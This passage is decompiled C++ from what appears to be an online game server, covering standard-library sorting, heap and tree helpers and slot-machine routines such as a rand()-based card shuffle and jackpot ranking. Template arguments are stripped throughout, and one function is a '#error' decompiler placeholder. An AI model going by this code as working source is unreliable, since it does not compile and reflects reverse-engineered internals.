v9; // ecx@4 unsigned int v10; // [sp+10h] [bp-4h]@1 v10 = (unsigned int)&v10 ^ __security_cookie; v4 = _Hole; for ( i = (_Hole - 1) / 2; _Top < v4; i = (i - 1) / 2 ) { v6 = *(_DWORD *)&_First + 20 * i; if ( *(_DWORD *)(*(_DWORD *)&_First + 20 * i + 16) <= _Val.money ) break; v7 = *(_DWORD *)&_First + 20 * v4; *(_DWORD *)v7 = *(_DWORD *)v6; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v6 + 4); *(_DWORD *)(v7 + 8) = *(_DWORD *)(v6 + 8); *(_DWORD *)(v7 + 12) = *(_DWORD *)(v6 + 12); v4 = i; *(_DWORD *)(v7 + 16) = *(_DWORD *)(v6 + 16); } v8 = *(_DWORD *)&_First + 20 * v4; *(_DWORD *)v8 = *(_DWORD *)&_Val; *(_DWORD *)(v8 + 16) = _Val.money; *(_DWORD *)(v8 + 8) = *(_DWORD *)&_Val.name.n4_name[8]; v9 = v10; *(_DWORD *)(v8 + 4) = *(_DWORD *)&_Val.name.n4_name[4]; *(_DWORD *)(v8 + 12) = *(_DWORD *)&_Val.name.n4_name[12]; __security_check_cookie((unsigned int)&v10 ^ v9); } //----- (005D1530) -------------------------------------------------------- void __cdecl std::_Rotate>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, SLOTMACHINE_JackPotRank *a5) { std::vector >::iterator v5; // ebp@1 int v6; // edi@1 int v7; // eax@1 int v8; // esi@1 int v9; // edx@2 int v10; // edx@5 int v11; // ebx@5 int v12; // esi@6 int v13; // ecx@6 std::vector >::iterator *v14; // eax@7 int v15; // esi@9 int v16; // eax@10 int *v17; // eax@11 int v18; // [sp+10h] [bp-2Ch]@1 int v19; // [sp+14h] [bp-28h]@5 int v20; // [sp+18h] [bp-24h]@8 int v21; // [sp+1Ch] [bp-20h]@12 int v22; // [sp+20h] [bp-1Ch]@11 int _Holeval; // [sp+24h] [bp-18h]@6 int v24; // [sp+28h] [bp-14h]@6 int v25; // [sp+2Ch] [bp-10h]@6 int v26; // [sp+30h] [bp-Ch]@6 int v27; // [sp+34h] [bp-8h]@6 unsigned int v28; // [sp+38h] [bp-4h]@1 v28 = (unsigned int)&v18 ^ __security_cookie; v5 = _Last; v6 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; v7 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; v8 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; if ( v6 ) { do { v9 = v7 % v8; v7 = v8; v8 = v9; } while ( v9 ); } if ( v7 < (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 && v7 > 0 ) { v10 = 20 * v6; v18 = 20 * v6; v11 = *(_DWORD *)&_First + 20 * v7; v19 = v7; do { _Holeval = *(_DWORD *)v11; v24 = *(_DWORD *)(v11 + 4); v25 = *(_DWORD *)(v11 + 8); v12 = *(_DWORD *)(v11 + 12); v27 = *(_DWORD *)(v11 + 16); v13 = v11; v26 = v12; if ( v11 + v10 == v5 ) { v14 = &_First; } else { v20 = v11 + v10; v14 = (std::vector >::iterator *)&v20; } v15 = *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_DWORD *)&v14->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != v11 ) { do { *(_DWORD *)v13 = *(_DWORD *)v15; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v13 + 8) = *(_DWORD *)(v15 + 8); *(_DWORD *)(v13 + 12) = *(_DWORD *)(v15 + 12); *(_DWORD *)(v13 + 16) = *(_DWORD *)(v15 + 16); v16 = (*(_DWORD *)&v5 - v15) / 20; v13 = v15; if ( v6 >= v16 ) { v21 = *(_DWORD *)&_First + 20 * (v6 - v16); v17 = &v21; } else { v22 = v15 + v18; v17 = &v22; } v15 = *v17; } while ( *v17 != v11 ); v10 = v18; } *(_DWORD *)v13 = _Holeval; *(_DWORD *)(v13 + 4) = v24; *(_DWORD *)(v13 + 8) = v25; *(_DWORD *)(v13 + 12) = v26; *(_DWORD *)(v13 + 16) = v27; v11 -= 20; --v19; } while ( v19 ); } } //----- (005D16A0) -------------------------------------------------------- #error "5D16A0: undefined or illegal type '#593' (funcsize=104)" //----- (005D1810) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (005D1850) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, const unsigned __int16 *_Val, char _Carg) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x10u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; result->_Myval = *_Val; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (005D1890) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x10u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (005D18D0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GBSMAll *_First, unsigned int _Count, GBSMAll *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 GBSMAll *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->GBSM_GroupID = *(_DWORD *)&_Val->GBSM_GroupID; v6->GBSM_IsJP = _Val->GBSM_IsJP; } ++v6; --v5; } while ( v5 ); } } //----- (005D1910) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GBSMCenter *_First, unsigned int _Count, GBSMCenter *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 GBSMCenter *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_WORD *)&v6->GBSM_GroupID = *(_WORD *)&_Val->GBSM_GroupID; HIBYTE(v6->GBSM_RatioCenter) = HIBYTE(_Val->GBSM_RatioCenter); } ++v6; --v5; } while ( v5 ); } } //----- (005D1950) -------------------------------------------------------- SlotMachine::SlotMachineScreenManager::NPCvsBetType *__cdecl std::_Uninit_copy>(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Last, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { SlotMachine::SlotMachineScreenManager::NPCvsBetType *v5; // edx@1 SlotMachine::SlotMachineScreenManager::NPCvsBetType *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x24u); ++v5; } return result; } //----- (005D1980) -------------------------------------------------------- void __cdecl std::_Median>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last) { int v3; // eax@1 int v4; // eax@2 int v5; // edi@2 int v6; // ebx@2 int v7; // ebp@2 int v8; // esi@8 std::vector >::iterator v9; // eax@14 int v10; // esi@14 unsigned int v11; // ecx@14 int v12; // edi@14 v3 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v3 <= 40 ) { if ( *(_DWORD *)(*(_DWORD *)&_Mid + 16) > *(_DWORD *)(*(_DWORD *)&_First + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&_Mid, *(SLOTMACHINE_JackPotRank **)&_First); if ( *(_DWORD *)(*(_DWORD *)&_Last + 16) > *(_DWORD *)(*(_DWORD *)&_Mid + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&_Last, *(SLOTMACHINE_JackPotRank **)&_Mid); if ( *(_DWORD *)(*(_DWORD *)&_Mid + 16) > *(_DWORD *)(*(_DWORD *)&_First + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&_Mid, *(SLOTMACHINE_JackPotRank **)&_First); } else { v4 = (v3 + 1) / 8; v5 = 20 * v4; v6 = 20 * v4 + *(_DWORD *)&_First; v7 = 40 * v4; if ( *(_DWORD *)(v6 + 16) > *(_DWORD *)(*(_DWORD *)&_First + 16) ) std::swap((SLOTMACHINE_JackPotRank *)v6, *(SLOTMACHINE_JackPotRank **)&_First); if ( *(_DWORD *)(*(_DWORD *)&_First + v7 + 16) > *(_DWORD *)(v6 + 16) ) std::swap( (SLOTMACHINE_JackPotRank *)(*(_DWORD *)&_First + v7), (SLOTMACHINE_JackPotRank *)v6); if ( *(_DWORD *)(v6 + 16) > *(_DWORD *)(*(_DWORD *)&_First + 16) ) std::swap((SLOTMACHINE_JackPotRank *)v6, *(SLOTMACHINE_JackPotRank **)&_First); v8 = *(_DWORD *)&_Mid - v5; if ( *(_DWORD *)(*(_DWORD *)&_Mid + 16) > *(_DWORD *)(*(_DWORD *)&_Mid - v5 + 16) ) std::swap( *(SLOTMACHINE_JackPotRank **)&_Mid, (SLOTMACHINE_JackPotRank *)(*(_DWORD *)&_Mid - v5)); if ( *(_DWORD *)(v5 + *(_DWORD *)&_Mid + 16) > *(_DWORD *)(*(_DWORD *)&_Mid + 16) ) std::swap( (SLOTMACHINE_JackPotRank *)(v5 + *(_DWORD *)&_Mid), *(SLOTMACHINE_JackPotRank **)&_Mid); if ( *(_DWORD *)(*(_DWORD *)&_Mid + 16) > *(_DWORD *)(v8 + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&_Mid, (SLOTMACHINE_JackPotRank *)v8); v9 = _Last; v10 = *(_DWORD *)&_Last - v5; v11 = *(_DWORD *)(*(_DWORD *)&_Last - v5 + 16); v12 = *(_DWORD *)&_Last - v7; if ( v11 > *(_DWORD *)(*(_DWORD *)&_Last - v7 + 16) ) { std::swap((SLOTMACHINE_JackPotRank *)v10, (SLOTMACHINE_JackPotRank *)v12); v9 = _Last; } if ( *(_DWORD *)(*(_DWORD *)&v9 + 16) > *(_DWORD *)(v10 + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&v9, (SLOTMACHINE_JackPotRank *)v10); if ( *(_DWORD *)(v10 + 16) > *(_DWORD *)(v12 + 16) ) std::swap((SLOTMACHINE_JackPotRank *)v10, (SLOTMACHINE_JackPotRank *)v12); if ( *(_DWORD *)(*(_DWORD *)&_Mid + 16) > *(_DWORD *)(v6 + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&_Mid, (SLOTMACHINE_JackPotRank *)v6); if ( *(_DWORD *)(v10 + 16) > *(_DWORD *)(*(_DWORD *)&_Mid + 16) ) std::swap((SLOTMACHINE_JackPotRank *)v10, *(SLOTMACHINE_JackPotRank **)&_Mid); if ( *(_DWORD *)(*(_DWORD *)&_Mid + 16) > *(_DWORD *)(v6 + 16) ) std::swap(*(SLOTMACHINE_JackPotRank **)&_Mid, (SLOTMACHINE_JackPotRank *)v6); } } //----- (005D1B10) -------------------------------------------------------- void __cdecl std::_Adjust_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, int _Hole, int _Bottom, SLOTMACHINE_JackPotRank _Val) { int v4; // edx@1 int v5; // eax@1 bool i; // zf@1 int v7; // ecx@4 int v8; // edx@4 int v9; // eax@6 int v10; // ecx@6 _BYTE v11[20]; // ST0C_20@7 unsigned int v12; // [sp+10h] [bp-4h]@1 v4 = _Hole; v12 = (unsigned int)&v12 ^ __security_cookie; v5 = 2 * _Hole + 2; for ( i = v5 == _Bottom; v5 < _Bottom; i = v5 == _Bottom ) { if ( *(_DWORD *)(*(_DWORD *)&_First + 20 * v5 + 16) > *(_DWORD *)(*(_DWORD *)&_First + 20 * v5 - 4) ) --v5; v7 = *(_DWORD *)&_First + 20 * v5; v8 = *(_DWORD *)&_First + 20 * v4; *(_DWORD *)v8 = *(_DWORD *)(*(_DWORD *)&_First + 20 * v5); *(_DWORD *)(v8 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v8 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v8 + 12) = *(_DWORD *)(v7 + 12); *(_DWORD *)(v8 + 16) = *(_DWORD *)(v7 + 16); v4 = v5; v5 = 2 * v5 + 2; } if ( i ) { v9 = *(_DWORD *)&_First + 20 * _Bottom - 20; v10 = *(_DWORD *)&_First + 20 * v4; *(_DWORD *)v10 = *(_DWORD *)(*(_DWORD *)&_First + 20 * _Bottom - 20); *(_DWORD *)(v10 + 4) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v10 + 8) = *(_DWORD *)(v9 + 8); *(_DWORD *)(v10 + 12) = *(_DWORD *)(v9 + 12); *(_DWORD *)(v10 + 16) = *(_DWORD *)(v9 + 16); v4 = _Bottom - 1; } *(_DWORD *)v11 = *(_DWORD *)&_Val; *(_QWORD *)&v11[4] = *(_QWORD *)&_Val.name.n4_name[4]; *(_QWORD *)&v11[12] = *(_QWORD *)&_Val.name.n4_name[12]; std::_Push_heap>::iterator_int_SLOTMACHINE_JackPotRank>( _First, v4, _Hole, *(SLOTMACHINE_JackPotRank *)v11); __security_check_cookie((unsigned int)&v12 ^ v12); } //----- (005D1C00) -------------------------------------------------------- void __cdecl std::_Pop_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SLOTMACHINE_JackPotRank _Val, int *__formal) { unsigned int v5; // ecx@0 int v6; // edx@1 _BYTE v7[20]; // ST0C_20@1 unsigned int v8; // [sp+0h] [bp-4h]@1 v8 = v5; v6 = **(_DWORD **)&_First; v8 = (unsigned int)&v8 ^ __security_cookie; **(_DWORD **)&_Dest = v6; *(_DWORD *)(*(_DWORD *)&_Dest + 4) = *(_DWORD *)(*(_DWORD *)&_First + 4); *(_DWORD *)(*(_DWORD *)&_Dest + 8) = *(_DWORD *)(*(_DWORD *)&_First + 8); *(_DWORD *)(*(_DWORD *)&_Dest + 12) = *(_DWORD *)(*(_DWORD *)&_First + 12); *(_DWORD *)(*(_DWORD *)&_Dest + 16) = *(_DWORD *)(*(_DWORD *)&_First + 16); *(_DWORD *)v7 = *(_DWORD *)&_Val; *(_QWORD *)&v7[4] = *(_QWORD *)&_Val.name.n4_name[4]; *(_QWORD *)&v7[12] = *(_QWORD *)&_Val.name.n4_name[12]; std::_Adjust_heap>::iterator_int_SLOTMACHINE_JackPotRank>( _First, 0, (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20, *(SLOTMACHINE_JackPotRank *)v7); __security_check_cookie((unsigned int)&v8 ^ v8); } //----- (005D1C90) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned __int16 *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (005D1D00) -------------------------------------------------------- char *__thiscall std::vector>::_Ufill(std::vector > *this, char *_Ptr, unsigned int _Count, const char *_Val) { char *v4; // eax@1 unsigned int v5; // ecx@2 v4 = _Ptr; if ( _Count ) { v5 = _Count; do { *v4++ = *_Val; --v5; } while ( v5 ); } return &_Ptr[_Count]; } //----- (005D1D30) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, unsigned int _Count, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x24u); v6 = (char *)v6 + 36; --v5; } while ( v5 ); } } //----- (005D1D60) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(CharaterSkillList::CharSkill *_First, unsigned int _Count, CharaterSkillList::CharSkill *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 CharaterSkillList::CharSkill *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; v6->cs_EndOfCooltime = _Val->cs_EndOfCooltime; *(_DWORD *)&v6->cs_Empower._bf0 = *(_DWORD *)&_Val->cs_Empower._bf0; v6->cs_Mastery = _Val->cs_Mastery; v6->cs_bSave = _Val->cs_bSave; } ++v6; --v5; } while ( v5 ); } } //----- (005D1DB0) -------------------------------------------------------- std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v3; // ebx@1 int v4; // esi@1 int i; // ebp@1 unsigned int v6; // eax@2 unsigned int v7; // ecx@2 unsigned int v8; // ecx@6 unsigned int v9; // eax@7 unsigned int v10; // edx@10 int v11; // edi@10 unsigned int v12; // eax@12 unsigned int v13; // ecx@12 SLOTMACHINE_JackPotRank *v14; // ST04_4@14 bool v15; // zf@16 int v16; // ebx@17 unsigned int v17; // ecx@18 SLOTMACHINE_JackPotRank *v18; // ST08_4@27 SLOTMACHINE_JackPotRank *v19; // ST04_4@27 SLOTMACHINE_JackPotRank *v20; // edx@28 SLOTMACHINE_JackPotRank *v21; // ST04_4@32 std::pair >::iterator,std::vector >::iterator> *v22; // eax@33 unsigned int _Glast; // [sp+10h] [bp-4h]@10 v3 = _Last; v4 = *(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; std::_Median>::iterator>( _First, (std::vector >::iterator)(*(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2), (std::vector >::iterator)(*(_DWORD *)&_Last - 20)); for ( i = v4 + 20; *(unsigned int *)&_First < v4; v4 -= 20 ) { v6 = *(_DWORD *)(v4 - 4); v7 = *(_DWORD *)(v4 + 16); if ( v7 < v6 ) break; if ( v7 > v6 ) break; } if ( i < *(unsigned int *)&_Last ) { v8 = *(_DWORD *)(v4 + 16); do { v9 = *(_DWORD *)(i + 16); if ( v8 < v9 ) break; if ( v8 > v9 ) break; i += 20; } while ( i < *(unsigned int *)&_Last ); } v10 = v4; v11 = i; for ( _Glast = v4; ; v10 = _Glast ) { while ( 1 ) { for ( ; v11 < *(unsigned int *)&v3; v11 += 20 ) { v12 = *(_DWORD *)(v4 + 16); v13 = *(_DWORD *)(v11 + 16); if ( v13 >= v12 ) { if ( v13 > v12 ) break; v14 = (SLOTMACHINE_JackPotRank *)i; i += 20; std::swap(v14, (SLOTMACHINE_JackPotRank *)v11); v10 = _Glast; } } v15 = v10 == _First; if ( v10 > *(_DWORD *)&_First ) { v16 = v10 - 4; do { v17 = *(_DWORD *)(v4 + 16); if ( v17 >= *(_DWORD *)v16 ) { if ( v17 > *(_DWORD *)v16 ) break; v4 -= 20; std::swap((SLOTMACHINE_JackPotRank *)v4, (SLOTMACHINE_JackPotRank *)(v16 - 16)); v10 = _Glast; } v10 -= 20; v16 -= 20; _Glast = v10; } while ( *(_DWORD *)&_First < v10 ); v3 = _Last; v15 = v10 == _First; } if ( v15 ) break; v20 = (SLOTMACHINE_JackPotRank *)(v10 - 20); _Glast = (unsigned int)v20; if ( v11 == v3 ) { v4 -= 20; if ( v20 != (SLOTMACHINE_JackPotRank *)v4 ) std::swap(v20, (SLOTMACHINE_JackPotRank *)v4); i -= 20; std::swap((SLOTMACHINE_JackPotRank *)v4, (SLOTMACHINE_JackPotRank *)i); v10 = _Glast; } else { v21 = (SLOTMACHINE_JackPotRank *)v11; v11 += 20; std::swap(v21, v20); v10 = _Glast; } } if ( v11 == v3 ) break; if ( i != v11 ) std::swap((SLOTMACHINE_JackPotRank *)v4, (SLOTMACHINE_JackPotRank *)i); v18 = (SLOTMACHINE_JackPotRank *)v11; v19 = (SLOTMACHINE_JackPotRank *)v4; i += 20; v11 += 20; v4 += 20; std::swap(v19, v18); } v22 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; *(_DWORD *)&result->second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = i; return v22; } //----- (005D1F30) -------------------------------------------------------- void __cdecl std::_Make_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal, SLOTMACHINE_JackPotRank *a4) { int v4; // esi@1 int v5; // ebx@2 _BYTE v6[20]; // ST0C_20@3 v4 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; if ( v4 > 0 ) { v5 = *(_DWORD *)&_First + 20 * v4; do { v5 -= 20; *(_DWORD *)v6 = *(_DWORD *)v5; *(_QWORD *)&v6[4] = *(_QWORD *)(v5 + 4); --v4; *(_QWORD *)&v6[12] = *(_QWORD *)(v5 + 12); std::_Adjust_heap>::iterator_int_SLOTMACHINE_JackPotRank>( _First, v4, (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20, *(SLOTMACHINE_JackPotRank *)v6); } while ( v4 > 0 ); } } //----- (005D1FA0) -------------------------------------------------------- void __cdecl std::_Pop_heap_0>::iterator_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Last, SLOTMACHINE_JackPotRank *__formal) { _BYTE v3[20]; // ST0C_20@1 *(_DWORD *)v3 = *(_DWORD *)(*(_DWORD *)&_Last - 20); *(_QWORD *)&v3[4] = *(_QWORD *)(*(_DWORD *)&_Last - 20 + 4); *(_QWORD *)&v3[12] = *(_QWORD *)(*(_DWORD *)&_Last - 20 + 12); std::_Pop_heap>::iterator_int_SLOTMACHINE_JackPotRank>( _First, (std::vector >::iterator)(*(_DWORD *)&_Last - 20), (std::vector >::iterator)(*(_DWORD *)&_Last - 20), *(SLOTMACHINE_JackPotRank *)v3, 0); } //----- (005D1FE0) -------------------------------------------------------- void __thiscall SlotMachine::SlotMachineScreenManager::smsm_Shuffle(SlotMachine::SlotMachineScreenManager *this) { SlotMachine::SlotMachineScreenManager *v1; // esi@1 int i; // ebp@2 char *v3; // ecx@3 int v4; // eax@4 char *v5; // eax@7 int v6; // edi@8 unsigned __int64 v7; // qax@10 signed int v8; // [sp+10h] [bp-8h]@1 v1 = this; v8 = 9; do { for ( i = 0; ; ++i ) { v3 = v1->smsm_CardDeck[0]._Myfirst; v4 = v3 ? v1->smsm_CardDeck[0]._Mylast - v3 : 0; if ( i >= v4 ) break; v5 = v1->smsm_CardDeck[0]._Myfirst; if ( v5 ) v6 = v1->smsm_CardDeck[0]._Mylast - v5; else v6 = 0; v7 = (unsigned __int64)((double)rand() * (double)(unsigned int)v6 * 0.00003051850947599719); HIDWORD(v7) = v1->smsm_CardDeck[0]._Myfirst; if ( HIDWORD(v7) ) { if ( (char *)v7 < &v1->smsm_CardDeck[0]._Mylast[-HIDWORD(v7)] ) { BYTE4(v7) = *(_BYTE *)(HIDWORD(v7) + v7); v1->smsm_CardDeck[0]._Myfirst[v7] = v1->smsm_CardDeck[0]._Myfirst[i]; v1->smsm_CardDeck[0]._Myfirst[i] = BYTE4(v7); } } } v1 = (SlotMachine::SlotMachineScreenManager *)((char *)v1 + 16); --v8; } while ( v8 ); } //----- (005D2090) -------------------------------------------------------- GBSMBetType __thiscall SlotMachine::SlotMachineScreenManager::smsm_NPCData(SlotMachine::SlotMachineScreenManager *this, char *npcindex) { SlotMachine::SlotMachineScreenManager *v2; // esi@1 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v3; // edi@1 int i; // ebp@1 int v5; // eax@3 int v6; // eax@6 GBSMBetType result; // eax@17 FunctionEntarance _; // [sp+10h] [bp-34h]@1 char npc[4]; // [sp+14h] [bp-30h]@1 int v10; // [sp+18h] [bp-2Ch]@1 int v11; // [sp+1Ch] [bp-28h]@1 int v12; // [sp+20h] [bp-24h]@1 int v13; // [sp+24h] [bp-20h]@1 int v14; // [sp+28h] [bp-1Ch]@1 int v15; // [sp+2Ch] [bp-18h]@1 int v16; // [sp+30h] [bp-14h]@1 unsigned int v17; // [sp+34h] [bp-10h]@1 int v18; // [sp+40h] [bp-4h]@1 v2 = this; v17 = (unsigned int)&_ ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_NPCData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineScreenManager::smsm_NPCData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; v16 = 0; v15 = 0; v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)npc = 0; strncpy(npc, npcindex, 0x20u); v3 = v2->smsm_NPC._Myfirst; for ( i = 0; ; ++i ) { v5 = v3 ? v2->smsm_NPC._Mylast - v3 : 0; if ( (unsigned __int16)i >= (unsigned int)v5 ) break; v6 = (int)&v2->smsm_NPC._Myfirst[(unsigned __int16)i]; if ( *(_DWORD *)npc == *(_DWORD *)v6 && v10 == *(_DWORD *)(v6 + 4) && v11 == *(_DWORD *)(v6 + 8) && v12 == *(_DWORD *)(v6 + 12) && v13 == *(_DWORD *)(v6 + 16) && v14 == *(_DWORD *)(v6 + 20) && v15 == *(_DWORD *)(v6 + 24) && v16 == *(_DWORD *)(v6 + 28) ) { --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_NPCData"); goto LABEL_17; } } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_NPCData"); LABEL_17: __security_check_cookie((unsigned int)&_ ^ v17); return result; } //----- (005D2240) -------------------------------------------------------- GBSMLine *__thiscall SlotMachine::SlotMachineAnalyse::sma_1LineMatch(SlotMachine::SlotMachineAnalyse *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf, int startR, int startC, int dR, int dC) { SlotMachine::SlotMachineAnalyse *v6; // edi@1 std::vector >::iterator v7; // eax@1 int v8; // ecx@1 int v9; // eax@4 int v10; // ebp@4 PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *v11; // ebx@4 int v12; // esi@5 bool v13; // sf@8 unsigned __int8 v14; // of@8 GBSMLine *v15; // eax@13 FunctionEntarance _; // [sp+10h] [bp-44h]@1 std::vector >::iterator groupiter; // [sp+14h] [bp-40h]@1 int k; // [sp+18h] [bp-3Ch]@4 int kind; // [sp+1Ch] [bp-38h]@4 SlotMachine::SlotMachineAnalyse *v20; // [sp+20h] [bp-34h]@1 int v21; // [sp+24h] [bp-30h]@2 int v22; // [sp+28h] [bp-2Ch]@1 unsigned __int16 _Keyval[2]; // [sp+2Ch] [bp-28h]@4 PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *v24; // [sp+30h] [bp-24h]@2 std::_Tree,std::allocator,0> >::iterator result; // [sp+34h] [bp-20h]@5 int saw; // [sp+38h] [bp-1Ch]@4 int v27; // [sp+3Ch] [bp-18h]@4 char v28; // [sp+40h] [bp-14h]@4 unsigned int v29; // [sp+44h] [bp-10h]@1 int v30; // [sp+50h] [bp-4h]@12 v6 = this; v29 = (unsigned int)&_ ^ __security_cookie; v20 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::sma_1LineMatch"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineAnalyse::sma_1LineMatch"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = (int)v6->sma_LineMatch._Mylast; groupiter = (std::vector >::iterator)v6->sma_LineMatch._Myfirst; v7 = groupiter; v22 = v8; if ( groupiter == v8 ) { LABEL_12: --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( 